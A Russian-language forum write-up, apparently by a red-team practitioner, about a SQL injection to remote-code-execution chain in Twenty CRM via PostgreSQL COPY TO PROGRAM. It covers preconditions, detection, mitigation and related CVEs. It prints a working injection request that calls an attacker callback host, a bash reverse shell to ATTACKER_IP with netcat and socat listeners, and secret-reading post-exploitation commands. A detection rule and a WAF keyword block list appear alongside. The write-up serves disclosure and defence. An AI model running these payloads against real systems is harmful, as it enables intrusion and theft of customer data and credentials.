РАЗБОР На проверке 

CVE-2026-46624: SQLi→RCE в Twenty CRM через COPY TO PROGRAM

Сергей Попов
Сергей Попов Red Team · 6,4 тыс. сообщений
Подписаться
74
Режим чтения
Керамическая фигурка слона в виде логотипа PostgreSQL, рассечённая пополам скальпелем на чёрном антистатическом коврике; внутри виден свиток со скриптом, на боку выгравирована надпись CVE-2026-4662...


Каждый раз, когда на пентесте вижу параметр timeZone в REST API - первым делом подставляю одинарную кавычку и смотрю на ответ. В семи из десяти бизнес-приложений на PostgreSQL-стеке этот параметр уходит в SQL без параметризации. CVE-2026-46624 в Twenty CRM - ровно этот сценарий: CVSS 9.9, полная цепочка от SQL injection через timeZone в groupBy endpoint до выполнения произвольных команд ОС через COPY TO PROGRAM (при подключении к PostgreSQL от суперпользователя). Ниже - разбор от fingerprinting до reverse shell со всеми предусловиями и ограничениями.

Суть уязвимости CVE-2026-46624​

Twenty CRM - open-source CRM-платформа с 28 000+ звёзд на GitHub и управляемым облачным сервисом. В версиях с 1.7.7 по 1.16.7 поле timeZone внутри query-параметра group_by в REST API напрямую интерполируется в сырой SQL-запрос. Без экранирования, без параметризации, без валидации на стороне приложения - тупо конкатенация строк. Если PostgreSQL-подключение использует суперпользователя - а при стандартной docker-compose установке Twenty CRM подключение идёт от postgres с PG_DATABASE_URL: "postgres://postgres:postgres@localhost:5432/default" - любой аутентифицированный пользователь workspace получает RCE на сервере базы данных.

По данным NVD, оценка - CVSS 9.9 (CRITICAL) с вектором CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H. Разберём каждый компонент, потому что тут есть нюансы:
  • PR:L - нужна минимальная аутентификация: любой member workspace, JWT-токен
  • AC:L - низкая сложность: никаких race condition, специальных конфигураций или timing-зависимостей
  • S:C (Changed Scope) - самый показательный элемент. Атакующий входит через веб-приложение (один security domain), а выходит на уровень ОС через PostgreSQL (другой security domain). Именно Changed Scope поднимает CVSS с ~9.1 до 9.9
  • C:H / I:H / A:H - полный impact по конфиденциальности, целостности и доступности
NVD классифицирует уязвимость сразу по двум CWE: CWE-89 (SQL Injection) и CWE-78 (OS Command Injection). Это не дублирование - два CWE описывают два последовательных звена одной цепочки эксплуатации.

Инъекция SQL через timeZone в PostgreSQL​

Параметры timeZone, locale, currency - одни из самых «вкусных» целей при пентесте API. Разработчики воспринимают их как «системные» значения и редко прогоняют через те же валидаторы, что и пользовательский ввод. Мол, таймзона - это же не имя пользователя, зачем её фильтровать? В PostgreSQL таймзона подставляется в конструкцию AT TIME ZONE 'значение'. Если значение формируется через строковую конкатенацию - получаем прямой путь к SQLi.

Серверный код Twenty CRM формирует запрос вида date_trunc('day', "createdAt" AT TIME ZONE '${userInput}'). Всё содержимое поля timeZone из query-параметра group_by становится частью SQL-выражения. PostgreSQL нативно поддерживает stacked queries - несколько выражений через ; - поэтому после закрытия кавычки можно инжектировать любую SQL-команду.

Тут стоит держать в голове разницу между СУБД: многие MySQL-клиентские библиотеки по умолчанию отключают multi-statement execution (например, PDO без явного MYSQL_ATTR_MULTI_STATEMENTS), тогда как протокол PostgreSQL на уровне libpq допускает несколько statements по умолчанию. На пентесте CRM на PostgreSQL-стеке эта разница в дефолтах - ваш лучший друг.

Предусловия эксплуатации​

Перед воспроизведением - обязательный чек-лист. Без каждого пункта цепочка SQLi→RCE не работает.

Версия Twenty CRM: строго от 1.7.7 до 1.16.7. Ранние версии не содержат уязвимый endpoint, поздние - пропатчены. Проверяйте через HTTP-заголовок X-Twenty-Version или метаданные GraphQL introspection.

Аутентификация: нужен валидный JWT-токен любого пользователя workspace. На self-hosted - invited member, на облаке - зарегистрированный пользователь. Уязвимость не является unauthenticated, отсюда PR:L в CVSS-векторе. Без токена - даже SQLi не достигается.

PostgreSQL superuser: ключевое ограничение для RCE-части. Команда COPY TO PROGRAM требует привилегий суперпользователя. Стандартная docker-compose конфигурация Twenty CRM использует postgres:postgres - суперпользователь по умолчанию. Если администратор создал отдельный role с минимальными правами, PostgreSQL вернёт ERROR: must be superuser to COPY to or from an external program. SQLi при этом по-прежнему работает: чтение и модификация данных CRM доступны, но shell - нет.

Stacked queries: PostgreSQL поддерживает их нативно, дополнительная настройка не требуется.

Исходящая сетевая связность: для reverse shell серверу БД нужна возможность установить TCP-соединение к attacker-controlled хосту. В Docker-окружении - обычно не проблема. В продакшене с egress-фильтрацией - потребуется DNS-канал или запись результатов в таблицу.

По данным CISA-ADP: SSVC Decision - «Track*» (мониторить, готовить патч). PoC существует, автоматизация невозможна (Automatable: no), technical impact - total. EPSS составляет 0.0048 (percentile 0.4049, ниже медианы). Низкий EPSS при CVSS 9.9 - прямое следствие предусловий: аутентификация + суперпользователь PostgreSQL ограничивают массовую автоматизированную эксплуатацию. По-человечески: уязвимость страшная, но ботнет на ней не построишь.

Пошаговый PoC: от SQLi к удалённому выполнению кода​

📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме

). Но boolean-based техники доступны через stacked query после закрытия кавычки - как показано выше через CASE WHEN + условный pg_sleep.

Шаг 3 - OOB-подтверждение RCE через COPY TO PROGRAM. HTTP-запрос для подтверждения выполнения команд через OOB HTTP-callback (curl тут используется как примитив для генерации HTTP-запроса, а не как reverse shell):
HTTP:
GET /api/objects/companies?group_by={"field":"createdAt",
"timeZone":"UTC');COPY (SELECT '') TO PROGRAM
'curl https://ATTACKER.oastify.com/rce-confirmed';--"} HTTP/1.1
Host: target.example.com
Authorization: Bearer <JWT_TOKEN>
HTTP-callback на attacker-controlled сервере подтверждает выполнение команды на уровне ОС. curl/wget годятся только для OOB-callback подтверждения RCE - это не reverse shell примитивы. Для интерактивного shell используйте отдельный payload: bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1', на принимающей стороне - nc -lvnp 4444 или socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash.

Нюанс из практики: если bash недоступен в контейнере (minimal Docker image), используйте Python3 reverse shell через COPY TO PROGRAM - Python3 почти всегда присутствует в образе Twenty CRM. Альтернативы: perl -e 'use Socket;...', nc -e /bin/sh ATTACKER_IP 4444 или ncat --exec /bin/sh ATTACKER_IP 4444. Но тут есть подводный камень: опция -e в классическом netcat-traditional доступна только при компиляции с флагом GAPING_SECURITY_HOLE (название говорит само за себя) и отсутствует в большинстве Alpine/minimal Docker-образов. nmap-ncat тоже редко предустановлен. Python3 reverse shell - самый надёжный вариант.

После получения shell вы работаете от имени пользователя ОС, под которым запущен PostgreSQL (обычно postgres). Первые команды: id, uname -a, env (переменные окружения с APP_SECRET, REDIS_URL и другими секретами), cat /proc/1/cgroup (определение, находитесь ли вы в контейнере).

Маппинг на MITRE ATT&CK​

Цепочка CVE-2026-46624 покрывает несколько тактик:

ТактикаТехникаРоль в цепочке
Initial AccessExploit Public-Facing Application (T1190)Эксплуатация SQLi в REST API Twenty CRM
ExecutionUnix Shell (T1059.004)Выполнение команд через COPY TO PROGRAM
Privilege EscalationExploitation for Privilege Escalation (T1068)Переход от привилегий CRM-пользователя к shell ОС
PersistenceSQL Stored Procedures (T1505.001)Создание PostgreSQL-функции для повторного доступа
PersistenceWeb Shell (T1505.003)Запись web shell через RCE в директорию приложения
CollectionDatabases (T1213.006)Извлечение клиентских данных CRM
DiscoverySystem Information Discovery (T1082)id, uname -a, env после получения shell
DiscoveryFile and Directory Discovery (T1083)Обзор файловой системы для lateral movement

Для CRM-систем Collection (T1213.006) часто и есть конечная цель: клиентская база, контакты, сделки, внутренняя переписка - всё это монетизируется напрямую или используется для целевого фишинга клиентов организации. Но RCE на сервере БД открывает и другие двери: lateral movement по сети, доступ к смежным сервисам через переменные окружения (Redis, SMTP, облачные credentials).

Детектирование CVE-2026-46624​

Логи PostgreSQL - главный источник. Включите log_statement = 'all' или как минимум log_min_duration_statement = 0 для полного логирования. Ищите запросы, содержащие COPY + TO PROGRAM - легитимное использование этой конструкции в контексте CRM практически исключено. Вызовы pg_sleep внутри AT TIME ZONE - маркер time-based SQLi на стадии разведки.

Мониторинг REST API. На уровне WAF или reverse proxy отслеживайте запросы к group_by endpoint, где значение timeZone содержит спецсимволы: ', ;, --, COPY, PROGRAM. Нормальный timeZone - это строка вроде UTC, America/New_York, Europe/Moscow. SQL-синтаксис в этом поле - однозначная аномалия.

Сетевая активность. Исходящие TCP/HTTP-соединения от процесса postgres к внешним хостам - критический сигнал. PostgreSQL не должен инициировать соединения к произвольным IP. Такие соединения почти наверняка - результат COPY TO PROGRAM с curl/wget (OOB-callback, загрузка или запись файлов) либо активного reverse shell через bash, python3, nc.
YAML:
# Sigma-правило для детектирования COPY TO PROGRAM
title: PostgreSQL COPY TO PROGRAM Abuse
logsource:
  product: postgresql
  service: application
detection:
  selection:
    message|contains|all:
      - 'COPY'
      - 'TO PROGRAM'
  condition: selection
level: critical

Митигация и патчинг​

Обновление - первый и обязательный шаг. Обновите Twenty CRM до версии выше 1.16.7. Патч заменяет прямую интерполяцию timeZone на параметризованный запрос.

Понижение прав PostgreSQL - убирает RCE даже без обновления. Создайте отдельный role: CREATE ROLE twenty_app WITH LOGIN PASSWORD '...', выдайте SELECT, INSERT, UPDATE, DELETE только на нужные таблицы, укажите его в PG_DATABASE_URL. Это блокирует COPY TO PROGRAM, но не SQLi - данные CRM по-прежнему доступны атакующему через инъекцию. Минимальные привилегии БД должны быть в дефолте, а не вспоминаться после инцидента.

WAF-правила - временная мера. Блокируйте запросы к group_by, где timeZone содержит ', ;, --. Защита хрупкая (обходится через URL-кодирование и Unicode-нормализацию), но добавляет слой до применения патча.

Сетевая сегментация - ограничьте egress-трафик от PostgreSQL-контейнера. Без исходящих соединений reverse shell не заработает, а DNS-каналы потребуют от атакующего дополнительных усилий.

Twenty CRM: расширенная поверхность атаки​

CVE-2026-46624 - не единственная критическая уязвимость платформы. За короткий период Twenty CRM накопила серию серьёзных проблем, и это говорит о системных недостатках в security review.

CVE-2026-26720 (CVSS 9.8, CWE-94): serverless-функции в Twenty CRM до v1.15.0 выполняются через spawn() без sandbox, с полным наследованием process.env. Любой member workspace получает RCE и доступ ко всем серверным секретам - APP_SECRET, PG_DATABASE_URL, REDIS_URL. По данным Ostorlab, цепочка позволяет установить permanent unauthenticated backdoor через webhook endpoint с PublicEndpointGuard, который безусловно возвращает true. В отличие от CVE-2026-46624, CISA-ADP оценивает эту уязвимость как Automatable: yes. Вот это уже по-настоящему страшно.

CVE-2026-44729 (CVSS 8.7, CWE-79): stored XSS через загрузку HTML-файлов. Endpoints /files/* и /file/:fileFolder/:id отдают файлы без заголовков Content-Type, Content-Disposition и X-Content-Type-Options, позволяя выполнить JavaScript в контексте домена CRM - session hijacking и account takeover.

Три критические уязвимости за короткий период в одной платформе - сигнал для пентестеров: при встрече с Twenty CRM на проекте стоит закладывать дополнительное время на тестирование. Там есть где копнуть.

Отдельно про COPY TO PROGRAM как повторяющийся примитив RCE при SQLi в PostgreSQL-бэкенде. CVE-2026-9082 в Drupal Core (CVSS 9.8) - unauthenticated SQLi на PostgreSQL. Механизм пост-эксплуатации не детализирован в публичных данных, но при наличии прав суперпользователя БД теоретически может включать COPY FROM PROGRAM для выполнения команд. CISA добавила CVE-2026-9082 в каталог Known Exploited Vulnerabilities (добавлена 22 мая 2026), EPSS оценивает вероятность эксплуатации в 0.8789 (Top 1%). Аналогичный финальный шаг описан в CVE-2026-2005 (heap buffer overflow в pgcrypto, CVSS 8.8): после privilege escalation до суперпользователя - COPY TO PROGRAM для OS-level RCE. Когда на проекте видите PostgreSQL - эта команда должна быть в чек-листе наравне с xp_cmdshell в MSSQL.

Если смотреть на CVE-2026-46624 глазами атакующего - идеальная уязвимость для initial access на пентесте. Низкая сложность, стабильный payload, предсказуемый результат. Но тревожит другое: сколько open-source CRM и бизнес-приложений прямо сейчас подставляют timeZone в SQL через конкатенацию? На практике я проверял SuiteCRM и EspoCRM на аналогичные паттерны - прямой интерполяции не обнаружил, но архитектурно ситуация хрупкая. Разработчики CRM-платформ привыкли доверять «системным» параметрам, а PostgreSQL-стек с суперпользователем по умолчанию превращает любой SQLi в RCE за один stacked query. Пока индустрия не перейдёт на least privilege для database credentials как стандарт - а не рекомендацию, которую игнорируют в docker-compose.yml - мы будем получать CVE с CVSS 9.9 из одного непараметризованного поля. Хочется отработать SQLi→RCE руками - web-задачи на HackerLab заточены под подобные цепочки.
Полезно

Комментарии

0

Ещё по теме